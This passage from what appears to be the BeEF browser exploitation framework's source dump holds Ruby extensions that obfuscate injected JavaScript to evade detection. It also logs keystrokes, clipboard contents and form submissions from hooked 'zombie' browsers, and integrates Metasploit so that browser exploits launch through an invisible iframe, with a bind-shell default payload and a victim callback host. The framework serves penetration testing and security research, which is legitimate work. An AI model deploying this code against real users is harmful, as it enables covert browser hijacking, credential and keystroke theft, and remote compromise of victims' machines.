;_0x487fx2+=_0x33db[2];do{_0x487fx7=_0x487fx3[_0x33db[4]](_0x487fx2[_0x33db[3]](_0x487fxc++));_0x487fx8=_0x487fx3[_0x33db[4]](_0x487fx2[_0x33db[3]](_0x487fxc++));_0x487fx9=_0x487fx3[_0x33db[4]](_0x487fx2[_0x33db[3]](_0x487fxc++));_0x487fxa=_0x487fx3[_0x33db[4]](_0x487fx2[_0x33db[3]](_0x487fxc++));_0x487fxb=_0x487fx7<<18|_0x487fx8<<12|_0x487fx9<<6|_0x487fxa;_0x487fx4=_0x487fxb>>16&0xff;_0x487fx5=_0x487fxb>>8&0xff;_0x487fx6=_0x487fxb&0xff;if(_0x487fx9==64){_0x487fxe[_0x487fxd++]=String[_0x33db[5]](_0x487fx4);} else {if(_0x487fxa==64){_0x487fxe[_0x487fxd++]=String[_0x33db[5]](_0x487fx4,_0x487fx5);} else {_0x487fxe[_0x487fxd++]=String[_0x33db[5]](_0x487fx4,_0x487fx5,_0x487fx6);} ;} ;} while(_0x487fxc<_0x487fx2[_0x33db[6]]);;dec=_0x487fxe[_0x33db[7]](_0x33db[2]);return dec;};'\n        end\n\n        def execute(input, _config)\n          encoded = Base64.strict_encode64(input)\n          # basically, use atob if supported otherwise a normal base64 JS implementation (ie.: IE :-)\n          var_name = BeEF::Core::Crypto.random_alphanum_string(3)\n          input = \"var #{var_name}=\\\"#{encoded}\\\";[].constructor.constructor(dec(#{var_name}))();\"\n          print_debug '[OBFUSCATION - Base64] Javascript has been base64 encoded'\n          input\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "extensions/evasion/obfuscation/minify.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Extension\n    module Evasion\n      require 'uglifier'\n      class Minify\n        include Singleton\n\n        def need_bootstrap?\n          false\n        end\n\n        def execute(input, config)\n          opts = {\n            output: {\n              comments: :none\n            },\n            compress: {\n              # show warnings in debug mode\n              warnings: (config.get('beef.debug') ? true : false),\n              # remove dead code\n              dead_code: true,\n              # remove all beef.debug calls (console.log wrapper) unless client debugging is enabled\n              pure_funcs: (config.get('beef.client_debug') ? [] : ['beef.debug']),\n              # remove all console.log calls unless client debugging is enabled\n              drop_console: (config.get('beef.client_debug') ? false : true)\n            }\n          }\n          output = Uglifier.compile(input, opts)\n          print_debug '[OBFUSCATION - Minifier] JavaScript has been minified'\n          output\n        rescue StandardError => e\n          print_error \"[OBFUSCATION - Minifier] JavaScript couldn't be minified: #{e.messsage}\"\n          input\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "extensions/evasion/obfuscation/scramble.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Extension\n    module Evasion\n      class Scramble\n        include Singleton\n\n        def need_bootstrap?\n          false\n        end\n\n        def execute(input, config)\n          @output = input\n\n          to_scramble = config.get('beef.extension.evasion.scramble')\n          to_scramble.each do |var, value|\n            if var == value\n              # Variables have not been scrambled yet\n              mod_var = BeEF::Core::Crypto.random_alphanum_string(3)\n              @output.gsub!(var, mod_var)\n              config.set(\"beef.extension.evasion.scramble.#{var}\", mod_var)\n              print_debug \"[OBFUSCATION - SCRAMBLER] string [#{var}] scrambled -> [#{mod_var}]\"\n            else\n              # Variables already scrambled, re-use the one already created to maintain consistency\n              @output.gsub!(var, value)\n              print_debug \"[OBFUSCATION - SCRAMBLER] string [#{var}] scrambled -> [#{value}]\"\n            end\n            @output\n          end\n\n          if config.get('beef.extension.evasion.scramble_cookies')\n            # ideally this should not be static, but it's static in JS code, so fine for nowend\n            mod_cookie = BeEF::Core::Crypto.random_alphanum_string(5)\n            if config.get('beef.http.hook_session_name') == 'BEEFHOOK'\n              @output.gsub!('BEEFHOOK', mod_cookie)\n              config.set('beef.http.hook_session_name', mod_cookie)\n              print_debug \"[OBFUSCATION - SCRAMBLER] cookie [BEEFHOOK] scrambled -> [#{mod_cookie}]\"\n            else\n              @output.gsub!('BEEFHOOK', config.get('beef.http.hook_session_name'))\n              print_debug \"[OBFUSCATION - SCRAMBLER] cookie [BEEFHOOK] scrambled -> [#{config.get('beef.http.hook_session_name')}]\"\n            end\n          end\n\n          @output\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "extensions/evasion/obfuscation/whitespace.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Extension\n    module Evasion\n      class Whitespace\n        include Singleton\n\n        def need_bootstrap?\n          true\n        end\n\n        def get_bootstrap\n          # the decode function is in plain text - called IE-spacer - because trolling is always a good idea\n          \"//Dirty IE6 whitespace bug hack\nif (typeof IE_spacer === 'function') {} else {\nfunction IE_spacer(css_space) {\n  var spacer = '';\n  for(y = 0; y < css_space.length/8; y++)\n  {\n    v = 0;\n    for(x = 0; x < 8; x++)\n    {\n      if(css_space.charCodeAt(x+(y*8)) > 9)\n      {\n        v++;\n      }\n      if(x != 7)\n      {\n        v = v << 1;\n      }\n    }\n    spacer += String.fromCharCode(v);\n  }return spacer;\n}}\"\n        end\n\n        def execute(input, _config)\n          size = input.length\n          encoded = encode(input)\n          var_name = BeEF::Core::Crypto.random_alphanum_string(3)\n          input = \"var #{var_name}=\\\"#{encoded}\\\";[].constructor.constructor(IE_spacer(#{var_name}))();\"\n          print_debug \"[OBFUSCATION - WHITESPACE] #{size} bytes of Javascript code has been Whitespaced\"\n          input\n        end\n\n        def encode(input)\n          output = input.unpack('B*')\n          output.to_s.gsub(/[\\[\"01\\]]/, '[' => '', '\"' => '', ']' => '', '0' => \"\\t\", '1' => ' ')\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "extensions/events/api.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Extension\n    module Events\n      # Mounts the handler for processing browser events.\n      #\n      # @param beef_server [BeEF::Core::Server] HTTP server instance\n      module RegisterHttpHandler\n        BeEF::API::Registrar.instance.register(BeEF::Extension::Events::RegisterHttpHandler, BeEF::API::Server, 'mount_handler')\n\n        def self.mount_handler(beef_server)\n          beef_server.mount('/event', BeEF::Extension::Events::Handler)\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "extensions/events/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    extension:\n        events:\n            enable: false\n            name: 'Events'\n\n"
  },
  {
    "path": "extensions/events/extension.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Extension\n    module Events\n      extend BeEF::API::Extension\n\n      @short_name = 'events_logger'\n      @full_name = 'Event Logger'\n      @description = 'Logs browser events, such as mouse clicks, keystrokes, and form submissions.'\n    end\n  end\nend\n\nrequire 'extensions/events/handler'\nrequire 'extensions/events/api'\n"
  },
  {
    "path": "extensions/events/handler.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Extension\n    module Events\n      #\n      # The http handler that manages the Events.\n      #\n      class Handler\n        HB = BeEF::Core::Models::HookedBrowser\n\n        def initialize(data)\n          @data = data\n          setup\n        end\n\n        def setup\n          beef_hook = @data['beefhook'] || nil\n\n          unless BeEF::Filters.is_valid_hook_session_id?(beef_hook)\n            print_error('[Event Logger] Invalid hooked browser session')\n            return\n          end\n\n          # validates that a hooked browser with the beef_hook token exists in the db\n          zombie = HB.where(session: beef_hook).first || nil\n          if zombie.nil?\n            print_error('[Event Logger] Invalid beef hook id: the hooked browser cannot be found in the database')\n            return\n          end\n\n          events = @data['results'] || nil\n\n          unless events.is_a?(Array)\n            print_error(\"[Event Logger] Received event data of type #{events.class}; expected Array\")\n            return\n          end\n\n          # push events to logger\n          logger = BeEF::Core::Logger.instance\n          events.each do |event|\n            unless event.is_a?(Hash)\n              print_error(\"[Event Logger] Received event data of type #{event.class}; expected Hash\")\n              next\n            end\n\n            if event['type'].nil?\n              print_error(\"[Event Logger] Received event with no type: #{event.inspect}\")\n              next\n            end\n\n            data = event_log_string(event)\n\n            next if data.nil?\n\n            logger.register('Event', data, zombie.id)\n          end\n        end\n\n        private\n\n        def event_log_string(event)\n          return unless event.is_a?(Hash)\n\n          event_type = event['type']\n\n          return if event_type.nil?\n\n          case event_type\n          when 'click'\n            result = \"#{event['time']}s - [Mouse Click] x: #{event['x']} y:#{event['y']} > #{event['target']}\"\n          when 'focus'\n            result = \"#{event['time']}s - [Focus] Browser window has regained focus.\"\n          when 'copy'\n            result = \"#{event['time']}s - [User Copied Text] \\\"#{event['data']}\\\"\"\n          when 'cut'\n            result = \"#{event['time']}s - [User Cut Text] \\\"#{event['data']}\\\"\"\n          when 'paste'\n            result = \"#{event['time']}s - [User Pasted Text] \\\"#{event['data']}\\\"\"\n          when 'blur'\n            result = \"#{event['time']}s - [Blur] Browser window has lost focus.\"\n          when 'console'\n            result = \"#{event['time']}s - [Console] #{event['data']}\"\n          when 'keys'\n            print_debug \"+++++++++++++++++ Key mods: #{event['mods']}\"\n            print_debug \"EventData: #{event['data']}\"\n\n            result = \"#{event['time']}s - [User Typed] #{event['data']}\"\n            if event['mods'].size.positive?\n              result += \" (modifiers: #{event['mods']})\"\n            end\n          when 'submit'\n            result = \"#{event['time']}s - [Form Submitted] \\\"#{event['data']}\\\" > #{event['target']}\"\n          else\n            print_debug(\"[Event Logger] Event handler has received event of unknown type '#{event_type}'\")\n            result = \"#{event['time']}s - Unknown event '#{event_type}'\"\n          end\n\n          result\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "extensions/metasploit/api.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Extension\n    module Metasploit\n      module API\n        module MetasploitHooks\n          BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Modules, 'post_soft_load')\n          BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Server, 'mount_handler')\n\n          # Load modules from metasploit just after all other module config is loaded\n          def self.post_soft_load\n            msf = BeEF::Extension::Metasploit::RpcClient.instance\n\n            timeout = 10\n            connected = false\n            Timeout.timeout(timeout) do\n              print_status(\"Connecting to Metasploit on #{BeEF::Core::Configuration.instance.get('beef.extension.metasploit.host')}:#{BeEF::Core::Configuration.instance.get('beef.extension.metasploit.port')}\")\n              connected = msf.login\n            rescue Timeout::Error\n              return\n            end\n\n            return unless connected\n\n            msf_module_config = {}\n            path = \"#{$root_dir}/#{BeEF::Core::Configuration.instance.get('beef.extension.metasploit.path')}/msf-exploits.cache\"\n            if !BeEF::Core::Console::CommandLine.parse[:resetdb] && File.exist?(path)\n              print_debug 'Attempting to use Metasploit exploits cache file'\n              raw = File.read(path)\n              begin\n                msf_module_config = YAML.safe_load(raw)\n              rescue StandardError => e\n                print_error \"[Metasploit] #{e.message}\"\n                print_error e.backtrace\n              end\n              count = 1\n              msf_module_config.each do |k, _v|\n                BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Module, 'get_options', [k])\n                BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Module, 'get_payload_options', [k, nil])\n                BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Module, 'override_execute', [k, nil, nil])\n                print_over \"Loaded #{count} Metasploit exploits.\"\n                count += 1\n              end\n              print \"\\r\\n\"\n            else\n              msf_modules = msf.call('module.exploits')\n              count = 1\n              msf_modules['modules'].each do |m|\n                next unless m.include? '/browser/'\n\n                m_details = msf.call('module.info', 'exploit', m)\n                next unless m_details\n\n                key = \"msf_#{m.split('/').last}\"\n                # system currently doesn't support multilevel categories\n                # categories = ['Metasploit']\n                # m.split('/')[0...-1].each{|c|\n                #    categories.push(c.capitalize)\n                # }\n\n                if m_details['description'] =~ /Java|JVM|flash|Adobe/i\n                  target_browser = { BeEF::Core::Constants::CommandModule::VERIFIED_USER_NOTIFY => ['ALL'] }\n                elsif m_details['description'] =~ /IE|Internet\\s+Explorer/i\n                  target_browser = { BeEF::Core::Constants::CommandModule::VERIFIED_WORKING => ['IE'] }\n                elsif m_details['description'] =~ /Firefox/i\n                  target_browser = { BeEF::Core::Constants::CommandModule::VERIFIED_WORKING => ['FF'] }\n                elsif m_details['description'] =~ /Chrome/i\n                  target_browser = { BeEF::Core::Constants::CommandModule::VERIFIED_WORKING => ['C'] }\n                elsif m_details['description'] =~ /Safari/i\n                  target_browser = { BeEF::Core::Constants::CommandModule::VERIFIED_WORKING => ['S'] }\n                elsif m_details['description'] =~ /Opera/i\n                  target_browser = { BeEF::Core::Constants::CommandModule::VERIFIED_WORKING => ['O'] }\n                end\n\n                # TODO:\n                #  - Add support for detection of target OS\n                #  - Add support for detection of target services (e.g. java, flash, silverlight, ...etc)\n                #  - Add support for multiple target browsers as currently only 1 browser will match or all\n\n                msf_module_config[key] = {\n                  'enable' => true,\n                  'msf' => true,\n                  'msf_key' => m,\n                  'name' => m_details['name'],\n                  'category' => 'Metasploit',\n                  'description' => m_details['description'],\n                  'authors' => m_details['references'],\n                  'path' => path,\n                  'class' => 'Msf_module',\n                  'target' => target_browser\n                }\n                BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Module, 'get_options', [key])\n                BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Module, 'get_payload_options', [key, nil])\n                BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Module, 'override_execute', [key, nil, nil])\n                print_over \"Loaded #{count} Metasploit exploits.\"\n                count += 1\n              end\n              print \"\\r\\n\"\n              File.open(path, 'w') do |f|\n                f.write(msf_module_config.to_yaml)\n                print_debug(\"Wrote Metasploit exploits to cache file: #{path}\")\n              end\n            end\n\n            BeEF::Core::Configuration.instance.set('beef.module', msf_module_config)\n          end\n\n          # Get module options + payloads when the beef framework requests this information\n          def self.get_options(mod)\n            msf_key = BeEF::Core::Configuration.instance.get(\"beef.module.#{mod}.msf_key\")\n            return if msf_key.nil?\n\n            msf = BeEF::Extension::Metasploit::RpcClient.instance\n            return unless msf.login\n\n            msf_module_options = msf.call('module.options', 'exploit', msf_key)\n            com = BeEF::Core::Models::CommandModule.where(name: mod).first\n            unless msf_module_options\n              print_error \"Unable to retrieve metasploit options for exploit: #{msf_key}\"\n              return\n            end\n\n            options = BeEF::Extension::Metasploit.translate_options(msf_module_options)\n            options << {\n              'name' => 'mod_id',\n              'id' => 'mod_id',\n              'type' => 'hidden',\n              'value' => com.id\n            }\n\n            msf_payload_options = msf.call('module.compatible_payloads', msf_key)\n            print_error \"Unable to retrieve metasploit payloads for exploit: #{msf_key}\" unless msf_payload_options\n\n            options << BeEF::Extension::Metasploit.translate_payload(msf_payload_options)\n            options\n          end\n\n          # Execute function for all metasploit exploits\n          def self.override_execute(mod, hbsession, opts)\n            msf = BeEF::Extension::Metasploit::RpcClient.instance\n            msf_key = BeEF::Core::Configuration.instance.get(\"beef.module.#{mod}.msf_key\")\n            msf_opts = {}\n\n            opts.each do |opt|\n              next if %w[e ie_session and_module_id].include? opt['name']\n\n              msf_opts[opt['name']] = opt['value']\n            end\n\n            if !msf_key.nil? && msf.login\n              # Are the options correctly formatted for msf?\n              # This call has not been tested\n              msf.call('module.execute', 'exploit', msf_key, msf_opts)\n            end\n\n            hb = BeEF::HBManager.get_by_session(hbsession)\n            unless hb\n              print_error \"Could not find hooked browser when attempting to execute module '#{mod}'\"\n              return false\n            end\n\n            bopts = []\n            proto = msf_opts['SSL'] ? 'https' : 'http'\n            config = BeEF::Core::Configuration.instance.get('beef.extension.metasploit')\n            uri = \"#{proto}://#{config['callback_host']}:#{msf_opts['SRVPORT']}/#{msf_opts['URIPATH']}\"\n\n            bopts << { sploit_url: uri }\n            BeEF::Core::Models::Command.new(\n              data: bopts.to_json,\n              hooked_browser_id: hb.id,\n              command_module_id: BeEF::Core::Configuration.instance.get(\"beef.module.#{mod}.db.id\"),\n              creationdate: Time.new.to_i\n            ).save\n\n            # Still need to create command object to store a string saying \"Exploit launched @ [time]\", to ensure BeEF can keep track of\n            # which exploits where executed against which hooked browsers\n            true\n          end\n\n          # Get module options + payloads when the beef framework requests this information\n          def self.get_payload_options(mod, payload)\n            msf_key = BeEF::Core::Configuration.instance.get(\"beef.module.#{mod}.msf_key\")\n\n            return if msf_key.nil?\n\n            msf = BeEF::Extension::Metasploit::RpcClient.instance\n\n            return unless msf.login\n\n            msf_module_options = msf.call('module.options', 'payload', payload)\n\n            if msf_module_options\n              BeEF::Extension::Metasploit.translate_options(msf_module_options)\n            else\n              print_error \"Unable to retrieve metasploit payload options for exploit: #{msf_key}\"\n            end\n          end\n\n          # Mounts the handler for processing Metasploit RESTful API requests.\n          #\n          # @param beef_server [BeEF::Core::Server] HTTP server instance\n          def self.mount_handler(beef_server)\n            beef_server.mount('/api/msf', BeEF::Extension::Metasploit::MsfRest.new)\n          end\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "extensions/metasploit/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\n# Enable MSF integration by changing beef.extension.metasploit.enable\n# to true in BeEF's main config.yaml file.\n#\n# Ensure you load the msgrpc interface in Metasploit before starting BeEF:\n# msf > load msgrpc ServerHost=127.0.0.1 Pass=abc123 SSL=y\n#\n# Ensure that the IP address supplied to Metasploit with the 'ServerHost'\n# parameter is the same IP address as specified in beef.extension.metasploit.host\n#\n# Ensure that the IP address specified in beef.extension.metasploit.callback_host\n# is the publicly accessible IP address for victim connections to Metasploit.\n\nbeef:\n    extension:\n        metasploit:\n            name: 'Metasploit'\n            enable: false\n            # Metasploit msgrpc connection options\n            host: \"127.0.0.1\"\n            port: 55552\n            user: \"msf\"\n            pass: \"abc123\"\n            uri: '/api'\n            ssl: true\n            ssl_version: 'TLS1'\n            ssl_verify: true\n            # Public connect back host IP address for victim connections to Metasploit\n            callback_host: \"127.0.0.1\"\n            # URIPATH from Metasploit Browser AutoPwn server module\n            autopwn_url: \"autopwn\"\n            # Start msfrpcd automatically with BeEF\n            auto_msfrpcd: false\n            auto_msfrpcd_timeout: 120\n            msf_path: [\n              {os: 'osx', path: '/opt/local/msf/'},\n              {os: 'bt5r3', path: '/opt/metasploit/msf3/'},\n              {os: 'bt5', path: '/opt/framework3/msf3/'},\n              {os: 'backbox', path: '/opt/backbox/msf/'},\n              {os: 'kali', path: '/usr/share/metasploit-framework/'},\n              {os: 'pentoo', path: '/usr/lib/metasploit'},\n              {os: 'custom', path: ''}\n            ]\n"
  },
  {
    "path": "extensions/metasploit/extension.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Extension\n    module Metasploit\n      extend BeEF::API::Extension\n\n      @short_name = 'msf'\n      @full_name = 'Metasploit'\n      @description = 'Metasploit integration'\n\n      # Translates msf exploit options to beef options array\n      def self.translate_options(msf_options)\n        callback_host = BeEF::Core::Configuration.instance.get('beef.extension.metasploit.callback_host')\n\n        options = []\n        msf_options.each do |k, v|\n          next if v['advanced'] == true\n          next if v['evasion'] == true\n\n          v['allowBlank'] = 'true' if v['required'] == false\n\n          case v['type']\n          when 'string', 'address', 'port', 'integer'\n            v['type'] = 'text'\n            v['value'] = if k == 'URIPATH'\n                           rand(3**20).to_s(16)\n                         elsif k == 'LHOST'\n                           callback_host\n                         else\n                           v['default']\n                         end\n          when 'bool'\n            v['type'] = 'checkbox'\n          when 'enum'\n            v['type'] = 'combobox'\n            v['store_type'] = 'arraystore',\n                              v['store_fields'] = ['enum'],\n                              v['store_data'] = translate_enums(v['enums']),\n                              v['value'] = v['default']\n            v['valueField'] = 'enum',\n                              v['displayField'] = 'enum',\n                              v['autoWidth'] = true,\n                              v['mode'] = 'local'\n          end\n          v['name'] = k\n          v['label'] = k\n          options << v\n        end\n\n        options\n      end\n\n      # Translates msf payloads to a beef compatible drop down\n      def self.translate_payload(payloads)\n        return unless payloads.key?('payloads')\n\n        values = translate_enums(payloads['payloads'])\n\n        default_payload = values.include?('generic/shell_bind_tcp') ? 'generic/shell_bind_tcp' : values.first\n\n        return unless values.length.positive?\n\n        {\n          'name' => 'PAYLOAD',\n          'type' => 'combobox',\n          'ui_label' => 'Payload',\n          'store_type' => 'arraystore',\n          'store_fields' => ['payload'],\n          'store_data' => values,\n          'valueField' => 'payload',\n          'displayField' => 'payload',\n          'mode' => 'local',\n          'autoWidth' => true,\n          'defaultPayload' => default_payload,\n          'reloadOnChange' => true\n        }\n      end\n\n      # Translates metasploit enums to ExtJS combobox store_data\n      def self.translate_enums(enums)\n        enums.map { |e| [e] }\n      end\n    end\n  end\nend\n\nrequire 'msfrpc-client'\nrequire 'extensions/metasploit/rpcclient'\nrequire 'extensions/metasploit/api'\nrequire 'extensions/metasploit/module'\nrequire 'extensions/metasploit/rest/msf'\n"
  },
  {
    "path": "extensions/metasploit/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\n# This is a dummy module to fool BeEF's loading system\nclass Msf_module < BeEF::Core::Command\n  def output\n    command = BeEF::Core::Models::Command.find(@command_id)\n    data = JSON.parse(command['data'])\n    sploit_url = data[0]['sploit_url']\n\n    \"\nbeef.execute(function() {\n        var result;\n\n        try {\n                var sploit = beef.dom.createInvisibleIframe();\n                sploit.src = '#{sploit_url}';\n        } catch(e) {\n                for(var n in e)\n                        result+= n + ' '  + e[n] ;\n        }\n\n});\"\n  end\nend\n"
  },
  {
    "path": "extensions/metasploit/rest/msf.rb",
    "content": "require_relative '../../../core/main/router/router'\n#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Extension\n    module Metasploit\n      # This class handles the routing of RESTful API requests for Metasploit integration\n      class MsfRest < BeEF::Core::Router::Router\n        # Filters out bad requests before performing any routing\n        before do\n          @msf ||= BeEF::Extension::Metasploit::RpcClient.instance\n          config = BeEF::Core::Configuration.instance\n\n          # Require a valid API token from a valid IP address\n          halt 401 unless params[:token] == config.get('beef.api_token')\n          halt 403 unless BeEF::Core::Rest.permitted_source?(request.ip)\n\n          headers 'Content-Type' => 'application/json; charset=UTF-8',\n                  'Pragma' => 'no-cache',\n                  'Cache-Control' => 'no-cache',\n                  'Expires' => '0'\n        end\n\n        # Returns version of Metasploit\n        get '/version' do\n          version = @msf.call('core.version')\n          result = {}\n          result[:version] = version\n          result.to_json\n        rescue StandardError => e\n          print_error \"Internal error while retrieving Metasploit version (#{e.message})\"\n          halt 500\n        end\n\n        # Returns all the jobs\n        get '/jobs' do\n          jobs = @msf.call('job.list')\n          count = jobs.size\n\n          result = {}\n          result[:count] = count\n          result[:jobs] = jobs\n          result.to_json\n        rescue StandardError => e\n          print_error \"Internal error while retrieving Metasploit job list (#{e.message})\"\n          halt 500\n        end\n\n        # Returns information about a specific job given its id\n        get '/job/:id/info' do\n          id = params[:id]\n          raise InvalidParamError, 'id' if id !~ /\\A\\d+\\Z/\n\n          job = @msf.call('job.info', id)\n          halt 404 if job.nil?\n          job.to_json\n        rescue InvalidParamError => e\n          print_error e.message\n          halt 400\n        rescue StandardError => e\n          print_error \"Internal error while retrieving Metasploit job with ID #{id} (#{e.message})\"\n          halt 500\n        end\n\n        # Stops a job given its id\n        get '/job/:id/stop' do\n          result = {}\n          begin\n            id = params[:id]\n            raise InvalidParamError, 'id' if id !~ /\\A\\d+\\Z/\n\n            removed = @msf.call('job.stop', id)\n            unless removed.nil?\n              result['success'] = removed\n              print_info \"[Metasploit] Stopped job [id: #{id}]\"\n            end\n          rescue InvalidParamError => e\n            print_error e.message\n            halt 400\n          rescue StandardError => e\n            print_error \"Internal error while stopping job with ID #{id} (#{e.message})\"\n            halt 500\n          end\n          result.to_json\n        end\n\n        # Starts a new msf payload handler\n        post '/handler' do\n          body = JSON.parse(request.body.read)\n          handler = @msf.call('module.execute', 'exploit', 'exploit/multi/handler', body)\n          result = {}\n          # example response: {\"job_id\"=>0, \"uuid\"=>\"oye0kmpr\"}\n          if handler.nil? || handler['job_id'].nil?\n            print_error '[Metasploit] Could not start payload handler'\n            result['success'] = false\n          else\n            print_info \"[Metasploit] Started job [id: #{handler['job_id']}]\"\n            print_debug @msf.call('job.info', handler['job_id']).to_s\n            result['success'] = true\n            result['id'] = handler['job_id']\n          end\n          result.to_json\n        rescue InvalidJsonError => e\n          print_error e.message\n          halt 400\n        rescue StandardError => e\n          print_error \"Internal error while creating exploit handler (#{e.message})\"\n          halt 500\n        end\n\n        # Raised when invalid JSON input is passed to an /api/msf handler.\n        class InvalidJsonError < StandardError\n          DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/msf handler'.freeze\n\n          def initialize(message = nil)\n            super(message || DEFAULT_MESSAGE)\n          end\n        end\n\n        # Raised when an invalid named parameter is passed to an /api/msf handler.\n        class InvalidParamError < StandardError\n          DEFAULT_MESSAGE = 'Invalid parameter passed to /api/msf handler'.freeze\n\n          def initialize(message = nil)\n            str = 'Invalid \"%s\" parameter passed to /api/msf handler'\n            message = format str, message unless message.nil?\n            super(message)\n          end\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "extensions/metasploit/rpcclient.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Extension\n    module Metasploit\n      class RpcClient < ::Msf::RPC::Client\n        include Singleton\n\n        def initialize\n          @config = BeEF::Core::Configuration.instance.get('beef.extension.metasploit')\n\n          unless @config.key?('host') || @config.key?('uri') || @config.key?('port') ||\n                 @config.key?('user') || @config.key?('pass')\n            print_error 'There is not enough information to initialize Metasploit connectivity at this time'\n            print_error 'Please check your options in config.yaml to verify that all information is present'\n            BeEF::Core::Configuration.instance.set('beef.extension.metasploit.enabled', false)\n            BeEF::Core::Configuration.instance.set('beef.extension.metasploit.loaded', false)\n            return\n          end\n\n          @lock = false\n          @lastauth = nil\n          @unit_test = false\n          @msf_path = nil\n\n          opts = {\n            host: @config['host'] || '127.0.0.1',\n            port: @config['port'] || 55_552,\n            uri: @config['uri'] || '/api/',\n            ssl: @config['ssl'],\n            ssl_version: @config['ssl_version'],\n            context: {}\n          }\n\n          print_warning '[Metasploit] Warning: Connections to Metasploit RPC over SSLv3 are insecure. Use TLSv1 instead.' if opts[:ssl_version].match?(/SSLv3/i)\n\n          if @config['auto_msfrpcd']\n            @config['msf_path'].each do |path|\n              @msf_path = \"#{path['path']}/msfrpcd\" if File.exist? \"#{path['path']}/msfrpcd\"\n            end\n\n            if @msf_path.nil?\n              print_error '[Metasploit] Please add a custom path for msfrpcd to the config file.'\n              return\n            end\n\n            print_info \"[Metasploit] Found msfrpcd: #{@msf_path}\"\n\n            return unless launch_msfrpcd(opts)\n          end\n\n          super(opts)\n        end\n\n        #\n        # @note auto start msfrpcd\n        #\n        def launch_msfrpcd(opts)\n          if opts[:ssl]\n            argssl = '-S'\n            proto = 'http'\n          else\n            argssl = ''\n            proto = 'https'\n          end\n\n          msf_url = \"#{proto}://#{opts[:host]}:#{opts[:port]}#{opts[:uri]}\"\n\n          child = IO.popen([\n                             @msf_path,\n                             '-f',\n                             argssl,\n                             '-P', @config['pass'],\n                             '-U', @config['user'],\n                             '-u', opts[:uri],\n                             '-a', opts[:host],\n                             '-p', opts[:port].to_s\n                           ], 'r+')\n\n          print_info \"[Metasploit] Attempt to start msfrpcd, this may take a while. PID: #{child.pid}\"\n\n          # Give daemon time to launch\n          # poll and giveup after timeout\n          retries = @config['auto_msfrpcd_timeout']\n          uri = URI(msf_url)\n          http = Net::HTTP.new(uri.host, uri.port)\n\n          if opts[:ssl]\n            http.use_ssl = true\n            http.ssl_version = opts[:ssl_version]\n          end\n\n          http.verify_mode = OpenSSL::SSL::VERIFY_NONE unless @config['ssl_verify']\n\n          headers = { 'Content-Type' => 'binary/message-pack' }\n          path = uri.path.empty? ? '/' : uri.path\n\n          begin\n            sleep 1\n            code = http.head(path, headers).code.to_i\n            print_debug \"[Metasploit] Success - HTTP response: #{code}\"\n          rescue StandardError\n            retry if (retries -= 1).positive?\n      